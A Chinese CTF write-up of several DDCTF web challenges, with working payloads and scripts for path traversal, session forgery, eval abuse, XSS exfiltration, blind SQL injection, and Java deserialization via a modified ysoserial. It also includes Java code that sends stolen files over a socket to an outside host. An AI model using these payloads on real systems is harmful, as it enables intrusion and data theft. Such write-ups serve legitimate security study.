最近打了打DDCTF,本来是无聊打算水一波。最后竟然做high了,硬肛了几天..
看到url疑似base64,尝试解密后发现加密规则如下。
b64(b64(ascii2hex(filename)))
于是可以自己构造,使其实现任意文件读取,首先先尝试/etc/passwd。
[plain] -> ../../../../../../../etc/passwd [0] HEX -> 2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F6574632F706173737764 [1] base64 -> MkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGNjU3NDYzMkY3MDYxNzM3Mzc3NjQ= [2] base64 -> TWtVeVJUSkdNa1V5UlRKR01rVXlSVEpHTWtVeVJUSkdNa1V5UlRKR01rVXlSVEpHTWtVeVJUSkdOalUzTkRZek1rWTNNRFl4TnpNM016YzNOalE9
发现斜杠被过滤掉了。此时尝试读一下index.php源码。来看一下规则。
[plain] -> index.php [2] base64 -> TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
最终获取到源码如下。
在这里,可以看到对对文件读取做了限制,想绕正则,是不存在的。此时打开预留hint看看,猜测可能是echo的问题?试了许久,还是放弃了。
过了几天,默默打开CSDN评论,还是看到一点有意思的东西的。最终发现出题人故意将hint放在practice.txt.swp
emm,贼迷的一题。然后提示flag!ddctf.php
读源码,此时用config替代!号:
~/D/D/web-di~ $ python a.py f1agconfigddctf.php [0] HEX -> 66316167636F6E66696764646374662E706870 [1] base64 ->NjYzMTYxNjc2MzZGNkU2NjY5Njc2NDY0NjM3NDY2MkU3MDY4NzA= [2] base64 ->TmpZek1UWXhOamMyTXpaR05rVTJOalk1TmpjMk5EWTBOak0zTkRZMk1rVTNNRFk0TnpBPQ==
然后直接构造就好了
url: http://117.51.150.246/f1ag!ddctf.php get: ?uid=123&k=php://input post: 123
很简单的一个代码审计题目。一开始有点脑洞,需要绕一下认证,不过也不难。
访问页面,会有一个登陆认证,此时分析流量数据,可以发现他向auth.php请求了一下,返回值刚好是没权限。也就是权限验证在这里,分析数据包,可以发现,请求头有一个username字段。尝试修改为admin,此时成功通过认证。
然后返回了一个源码页面。此时进入分析源码阶段。源码不是太多,核心逻辑也很好懂,包括利用链的构造。
首先,分析源码,可以看到危险函数unserialize,以及file_get_contents。
此时可以大概知道题目大体解题流程如下:
通过session反序列化 -->创建Application对象--> 控制path --> getfalg
此时一步一步来。
分析代码,可以发现session这个变量,是由cookie传入的。此时经过签名校验,确定cookie不可更改。代码如下:
此时可以看到,签名规则是md5(eancrykey+session),也就是说,我们要想获得cookie控制权,必须得到eancrykey。通读代码,分析eancrykey出现地点。最终发现两个可疑点
a) eancrykey存放目录为../config/key.txt。
由于不在web目录且没有读文件的漏洞,此时攻击者不可获取。
b) 某处代码存在蜜汁调用。
很明显,可以看出是主办方给的后门,但是怎么用呢?
sprintf函数,是格式化字符串用的函数。可以参考c语言的printf,只不过这里不会打印,而是返回格式化后的字符串。
此时可以分析一下逻辑。
# python 伪代码 # 别尝试执行,肯定执行不了 data="Welcome my friend %s" arr=['eval','key'] for i in arr: data=sprintf(data,i) print(data) # 输出如下: # Welcome my friend eval # Welcome my friend eval
此时问题来了,为什么会输出两次?因为在第一次格式化的时候,已经将eval填入data中,第二次格式化前的字符串为:Welcome my friend eval。此时没有%s占位,key也就无处可去了。
所以,此时我们将eval改成%s,遍可以成功打印出key。机智!
此时成功getkey。然后就可以愉快地伪造session了。
然后继续分析Application,我们该如何伪造session。此时,建议down下来Application.php,方便调试使用。
可以发现,代码中做了两层防护,来保证path的安全性。此时sanitizepath可以通过一个最经典的绕过---“双写” 来进行绕过。
payload: ../ 双写后: ..././
此时可以看出,在经过这个函数后,第二三四个字符将会被转为空。然后成功使../逃逸出来。
再看第二个限制了字符为18。此时我们可以通过../和./来进行绕过,不过,唯一缺点是,字符不能超过18个。
此时尝试读取/etc/passwd。计算其长度,为10。此时我们可以构造如下:
/etc/../etc/passwd 双写后:/etc/..././etc/passwd 序列化后:O:11:"Application":1:{s:4:"path";s:21:"/etc/..././etc/passwd";} 按规则签名后:O%3a11%3a"Application"%3a1%3a{s%3a4%3a"path"%3bs%3a21%3a"/etc/..././etc/passwd"%3b}75c51ff78b04d77138ca58f797dedc0a;
此时可以看到成功读取了/etc/passwd。
最终在 ../config/flag.txt读到flag,如下:
比较经典的一个题目了,绕过GD库,实现图片马。一般来说,搭配一个文件包含,简直是无敌的。在这里不多解释,直接上脚本了。
https://github.com/BlackFan/jpg_payload
Usage: php jpg_payload.php <jpg_name.jpg>
这题给好评,思路超级棒!
先说一下题目:开局给你3块钱,让你买5个一元一个的钻石。从而得到flag。
上来可以拿到源码,首先分析源码。
# flag获取函数 def FLAG() # 以下三个函数负责对参数进行解析。 # 1. 添加log,并将参数加入队列 def trigger_event(event) # 2. 工具函数,获取prefix与postfix之间的值 def get_mid_str(haystack, prefix, postfix=None): # 3. 从队列中取出函数,并分析后,进行执行。(稍后进行详细分析) def execute_event_loop() # 网站入口点 def entry_point() # 页面渲染,三个页面:index/shop/reset def view_handler() # 下载源码 def index_handler(args) # 增加钻石 def buy_handler(args) # 计算价钱,进行减钱 def consume_point_function(args) # 输出flag def show_flag_function(args) def get_flag_handler(args)
源码大概意思如上,可以看出大概流程。然后仔细分析,可以发现在购买逻辑中。先调用增加钻石,再调用计算价钱的。也就是先货后款。
现实生活中,肯定没毛病,但是在计算机中,会不会出现先给了货后,无法扣款,然后货被拿跑了。此时继续往下看,发现consume_point_function函数中,当钱不够时,会抛出一个RollBackException。此时,在逻辑处理函数execute_event_loop中,会捕获这个异常,并将现有状态置为上一session状态。如下:
此时,天真的我,想起了条件竞争,如果我够快的话,会不会让他加几个钻石,重置session时,重置到已经加完的。
但此时,仔细分析代码,以及flask的特性,你会发现一件事,他的状态并非是基于服务端session,而是客户端session,此时不应该叫他session了,叫cookie更合适一点。也就是,所有的状态都存在客户端。你竞争的话,他的session是单线程的。我必须操作完上一状态,才可以操作下一状态。
此时,条件竞争凉凉。
那既然状态是在客户端,那我可不可以修改?答案是可以。但是你得需要知道flask的secret_key。然后从而伪造cookie,此时我们无法伪造。思路继续断掉。继续分析代码。
仔细分析execute_event_loop,会发现里面有一个eval函数。无论在什么语言中,eval可控, 必定是一个灾难。
此时 action使我们可控的,但是由于白名单过滤的存在,我们可控的范围较小。
此时,我们可控点为eval前面对的action部分,于是后面的脏字符,我们可以通过#去注释掉。(p.s.用的时候请url编码为%23)
但是由于白名单限制,我们无法做一些操作。所以只能依靠其本身的作用 -- 动态执行函数。
此时action,即需要执行的函数名,args,执行函数的参数。这两个都在我们可控范围。
尝试构造如下payload:
?action:show_flag_function%23;123
此时,成功返回:
果然,我是最天真的那个崽。
但此时也证明了我们思路的可行性,此时我们只需要找一个函数,可以给其传一个参数的那种。进而getflag。
(p.s. flag函数无参数,所以我们无法直接执行。)
找啊找啊找朋友,一天过去了,有一天快要过去了... 代码都快会背了....
最终功夫不负有心人,终于发现一个神奇的地方。
第144行,trigger_event函数中,他传入了两个功能。然后回想代码,可以发现前面对各个函数执行,是通过execute_event_loop来对队列里的任务进行执行的。trigger_event正是那个添加任务到队列中的函数,此时该函数我们可控。
再想到之前的条件竞争,我们可以在内部构造一个竞争?对的,可以的,但是此时不配称之为竞争了。
首先我们看一下我们购买的正常逻辑。
此时,由于其先进先出的原因,我们可以一开始就传入两个参数,如下:
?action:trigger_event%23;action:buy;111%23action:get_flag;
此时传入一个buy和getfalg。我们再看一下逻辑。这样成功实现了,没钱买东西。
此时,问题来了,即便我们够了5个钻石,此时也获取不到flag。
因为他将打印flag的语句注释掉了。
可以看图片155行,此时return的为“天真的孩子”。那这样的话,是不是这题就没法解了?
肯定能解啊,怎么可能不能解。
此时仔细看165行,发现了什么?他是将flag作为参数传到show_flag的。别忘了,trigger_event是有log功能的,也就是此时flag会加进log里的。虽然log是在session中,但是,此时flask的特性,我们之前已经说过了。session是在本地的。虽然不能伪造,但是我们还是通过工具解开,查看内容的。
emm,感觉这题应该比吃鸡分高的。这道题,感觉比较偏实战渗透。不过作为ctf题目来说,的确有点脑洞了。因为大部分同学没往实战上想。
首先第一步:XSS
说实话,一开始拿到这题第一反应是注入。瞎注了半天。最后无疾而终。
知道hint出来,竟然是我最喜欢的xss,然后就做了。做到后面,已经拿到接口了,也尝试了注入,然而又没卵用。
第二步:注入
主办方不放hint是注入的话。这题我就不打算做了。实在get不到点。还是太菜了、
------以下正文------
xss读文件,很基础。发现waf了iframe和window。在es6新语法中,很好绕的。
function s(e) { var t = new XMLHttpRequest; t.open("POST", "//eval:2017", !0), t.setRequestHeader("Content-type", "text/plain"), t.onreadystatechange = function() { 4 == t.readyState && t.status }, t.send(e); }; var a = document.createElement("ifr"+"ame"); a.src = "./admin.php"; document.body.appendChild(a); a.onload = function (){ var c = document.getElementsByTagName("ifr"+"ame")[0]["contentWin"+"dow"].document.getElementsByTagName("body")[0].innerHTML; s("5am3: "+c); }; a.onerror = function (){ s("5am3 error!"); };
这里还有一个坑点是,渲染payload是在admin.php,此时如果读当前页面源码,返回的是你的payload。必须再次通过iframe读取admin.php,才能获取到本来的源码。
从源码中,可以得到一个接口:
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=
这就是传说中的注入点!!!要不是主办方肯定他是,我都不敢信...
最后终于通过宽字节注入,试出了点眉目。
p.s.注入过程真心迷,不跑5遍以上脚本,读不出来正确的东西
import requests url = "http://117.51.147.2/Ze02pQYLf5gGNyMn//query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id={payload}" sdb ="SELECT database()" sdbt = "database()" sschema = "SELECT group_concat(schema_name) from information_schema.SCHEMATA" stable = "SELECT group_concat(table_name) from information_schema.tables where table_schema=CHAR(99,116,102,100,98)" scolumn = "SELECT group_concat(column_name) from information_schema.columns where table_name=CHAR(99,116,102,95,102,104,109,72,82,80,76,53)" sflag = "SELECT group_concat(ctf_value) from ctfdb.ctf_fhmHRPL5" script = sflag charIndex = 1 p1 = "1%df%27 || if(ascii(substr(("+script+"),{charIndex},1))={i},sleep(100),5)%23" plendatabase = "1%df%27 || if(length(database())={i},sleep(100),5)%23" ptest = "1%df%27 || sleep(5)%23" # len(database) = 3 # database() = say # schema = information_schema,ctfdb,say # table = ctf_fhmHRPL5 # colum = ctf_value # DDCTF{GqFzOt8PcoksRg66fEe4xVBQZwp3jWJS} string = "qwertyuiopasdfghjklzxcvbnm" str1="" slist = range(33,97) slist += range(123,127) flag="" onpayload = p1 # print slist for j in range(1,50): for i in range(32,127): try: # i = str(hex(i)) i = str(i) payload = onpayload.replace("{i}",i).replace("{charIndex}",str(j)) r = requests.get(url+payload,timeout=3) text = r.text.replace("/n","") text = text.replace("/r","") text = text.replace("/t","") # print("["+str(i)+"]" + payload) # print("[text] " + text[:10]) except: flag+=chr(int(i)) print(flag) break
很迷很尬的一道题,最后小手段才做出来。
首先,很容易可以看出来,是一个go写的。
而且买票时,票价只可以多 ,不可以少。此时可以猜到是溢出,从而实现购买。
可以看一下,go中的数字范围。然后天真的从大往小试。最终卡在了以下俩数。
9223372036854775807 // 可以输入,显示正常 9223372036854775808 // 报500,无法输入
于是自己天真的认为 ,题目对溢出做了判断,然后就凉了。蜜汁分析了半天。
最后再注册处发现一个越权漏洞。每次注册,无论成功与否,都会返回注册用户的cookie,此时可以直接登录。
于是看了一下榜单,挨个试了一下榜单师傅们的id。
最后还真找到了rmb122师傅的账号,然后发现他用的4294967296溢出。也就是uint32
心态炸了。竟然不是uint64,自己也没试uint32。哭了。
此时通过溢出,可以直接购票。然后我们进入下一关,如何删除竞争对手。一说到游戏,顿时想起了“白导”。我自己也导演一场呗。
于是,新建账号 -> 买票 -> 付款 -> 加入游戏 -> 获取id踢掉。一条龙服务。脚本如下:
import requests import random import time tmpID = "1" tmpSession = requests.session() registerURL = "http://117.51.147.155:5050/ctf/api/register?name=5am3_t1{name}&password=12345678aa90" buyTicketURL = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296" payTicketURL = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}" removeRobotsURL = "http://117.51.147.155:5050/ctf/api/remove_robot?id={uid}&ticket={ticket}" headers = { "Cookie": "REVEL_SESSION=367aac22fa4d096ee5e45e5e214071cf; user_name=5am3" } def getTicket(tmpID): tmpRegisterURL = registerURL.replace("{name}",tmpID) tmpSession.get(tmpRegisterURL) billID = tmpSession.get(buyTicketURL).json()["data"][0]["bill_id"] # print(billID) tmpPayTicketURL = payTicketURL.replace("{bill}",billID) # print(tmpPayTicketURL) ticketJson = tmpSession.get(tmpPayTicketURL).json() # print(ticketJson) ticket,uid = ticketJson["data"][0].values() return ticket,uid if __name__ == '__main__': i = 1 c = 0 while(i<3 and c < 50): name = str(random.randint(1000, 90000)) c+=1 try: ticket,uid = getTicket(name) # print(ticket,uid) tmpRRURL = removeRobotsURL.replace("{uid}",str(uid)).replace("{ticket}",ticket) RRjson = requests.get(tmpRRURL,headers=headers).json() if(RRjson["data"]): print("["+str(i)+"] " + str(RRjson["data"])) print("") i+=1 time.sleep(1) except: pass
挺有意思的一道题,最后算是非预期出的吧。预期解实在是想不出来了。
首先拿到题目,其实就感觉是杭电那题了 wp链接
通过蜜罐sql客户端,来获取连接者的数据。但这题,说实话前期把我玩蒙了。
题目逻辑,首先下载扫描验证端,放到服务器上,做一下信息收集。然后再服务端填写自己服务器信息,就可以开始弱口令扫描了。
天真的我以为端口是填agent的端口。酿成一大惨祸。最后才发现,端口是填数据库端口。这样一来,心结解开。终于能拿数据了。
拿数据的心路历程更加艰难险阻。首先肯定是先读/etc/passwd。进而直接尝试读/flag,发现没有。
此时,自己意识到了事情的不简单。这是要和flag玩捉迷藏么。
这是很难受的一件事...
p.s.心酸历程就不说了。读文件肯定没这么顺利,要都说的话,1万字也收不住。
按照杭电那次学到的妙招,首先可以先读一下/proc/self/environ,如下图。
此时可以发现两个点,第9行和11行,组合起来/home/dc2-user/ctf_web_2/restart.sh。此时读取发现如下信息
从中,我们可以分析出来,该应用为flask应用,用gunicorn中间件起来的。
此时根据规则 gunicorn 文件名:项目名。可以推出:
/home/dc2-user/ctf_web_2/didi_ctf_web2.py
尝试读取,可以发现:
此时证实了我们的猜想。然后根据flask_script项目的目录结构,进而读取app。
然后一环接一环,依次读出了下面三个。
/home/dc2-user/ctf_web_2/app/ init .py
/home/dc2-user/ctf_web_2/app/main/ init .py
/home/dc2-user/ctf_web_2/app/main/views.py
在main/views.py中,我们可以看到一个hint。
猜测是通过curl可以从数据库中读到flag...
奈何自己比较菜,看到数据库遍想起来好像有个文件,是在手动修改数据库时,会留log。
对,没错,就是.mysql_history。此时尝试用户目录,root目录,最终在root目录读到flag
/root/.mysql_history
p.s.压轴题哈,说实话,这题真的学会了不少东西。毕竟自己太菜了,虽然本科专业为java开发狗。但我真的不太熟啊...
一共分为三关吧。
首先是一个PadOracle攻击,伪造cookie。这个解密Cookie可以看到hint: PadOracle:iv/cbc。
第二关,读文件,看到后端代码后,才发现,这里贼坑。
第三关,反序列化。
首先第一关好说,其实在/api/account_info这个接口,就可以拿到返回的明文信息。所以PadOracle获取明文这块其实可以省略了。然后通过cbc翻转来伪造cookie即可。在这里就不多说了。网上很多资料。
最后拿到cookie,直接浏览器写入cookie就OK。然后可以获取到一个下载文件的接口。
/api/fileDownload?fileName=1.txt
虽然说是一个任意文件读取的接口,但是贼坑、
一顿操作猛如虎,最后只读出/etc/passwd...
搜到了 很多字典 。然后burp爆破一波,最后发现/proc/self/fd/15这里有东西,看到熟悉的pk头,情不自禁的笑了起来。(对,就是源码)
源码也不多,很容易,可以看到一个反序列化的接口。
在反序列化之前,还调用了SerialKiller,作为一个waf,对常见payload进行拦截。
首先题目给了hint:JRMP。根据这个hint,我们可以找到很多资料。在这里自己用的ysoserial,根据他的JRMP模块来进行下一步操作。
在这里,JRMP主要起了一个绕过waf的功能,因为这个waf只在反序列化userinfo时进行了调用。当通过JRMP来读取payload进行反序列化时,不会走waf。
首先,JRMP这个payload被waf掉了,我们可以采用先知上的一种绕过方式。
https://xz.aliyun.com/t/2479
直接修改ysoserial源码即可,将原有的JRMPClient的payload复制一份,改名为JRMPClient2,然后保存并编译。
此时我们可以尝试使用URLDNS模块,来判断是否攻击成功。
# 修改替换{{内容}} # 开启监听端口 # 建议采用ceye的dnslog查看 java -cp ./ysoserial-5am3.jar ysoserial.exploit.JRMPListener {{port}} URLDNS {{http://eval.com}} # 生成链接JRMPListener的payload # ip端口那里填写运行第4行脚本的主机地址端口 java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8119}} | base64 # 此时将第10行生成的代码,直接打到远程即可。
然后查看dnslog信息。发现存在,那就是ok了。
接下来可以尝试换payload了。此时这里还存在一个问题。服务器端无法执行命令!!
这个是hint中给的,所以我们需要找另一种方式,如:代码执行。
查阅资料,发现ysoserial预留了这块的接口,修改即可。
https://blog.csdn.net/fnmsd/article/details/79534877
然后我们尝试去修改ysoserial/payloads/util/Gadgets.java中createTemplatesImpl方法如下:
// createTemplatesImpl修改版,支持代码执行 public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // String cmd = "java.lang.Runtime.getRuntime().exec(/"" + // command.replaceAll("////","////////").replaceAll("/"", "///"") + // "/");"; String cmd=""; //如果以code:开头,认为是代码,否则认为是命令 if(!command.startsWith("code:")){ cmd = "java.lang.Runtime.getRuntime().exec(/"" + command.replaceAll("////","////////").replaceAll("/"", "///"") + "/");"; } else{ System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出 cmd = command.substring(5); } clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
此时,我们的payload已经可以支持代码执行了。
在这里,我是直接用本地的题目环境进行调试,尝试打印了aaa,操作如下。
# 修改替换{{内容}} # 开启监听端口 # 建议采用ceye的dnslog查看 # 执行时合并为一行,为了好看,我换了下行 java -cp ysoserial-5am3.jar ysoserial.exploit.JRMPListener 8099 CommonsBeanutils1 'code:System.out.printld("aaa");' # 生成链接JRMPListener的payload # ip端口那里填写运行第4行脚本的主机地址端口 java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8099}} | base64 # 此时将第10行生成的代码,直接打到远程即可。
然后进而写一下获取文件,以及获取目录的代码。此时拿到文件,无法回显。我们可以用Socket来将文件发送到我们的服务器,然后nc监听端口即可。
// 以下代码使用时,记得压缩到一行。 // 获取目录下内容 java.io.File file =new java.io.File("/"); java.io.File[] fileLists = file.listFiles(); java.net.Socket s = new java.net.Socket("eval.com",8768); for (int i = 0; i < fileLists.length; i++) { java.io.OutputStream out = s.getOutputStream(); out.write(fileLists[i].getName().getBytes()); out.write("/n".getBytes()); } // 获取文件内容 java.io.File file = new java.io.File("/etc/passwd"); java.io.InputStream in = null; in = new java.io.FileInputStream(file); int tempbyte; java.net.Socket s = new java.net.Socket("eval.com",8768); while ((tempbyte = in.read()) != -1) { java.io.OutputStream out = s.getOutputStream(); out.write(tempbyte); } in.close(); s.close();
然后操作如下:
# 修改替换{{内容}} # 开启监听端口 # 建议采用ceye的dnslog查看 # 执行时合并为一行,为了好看,我换了下行 java -cp ysoserial-5am3.jar ysoserial.exploit.JRMPListener 8099 CommonsBeanutils1 'code:{{javapayload}}' # 生成链接JRMPListener的payload # ip端口那里填写运行第4行脚本的主机地址端口 java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8099}} | base64 # 监听端口数据 nc -lnvp 2333 # 此时将第10行生成的代码,直接打到远程即可。
p.s. /flag是个文件夹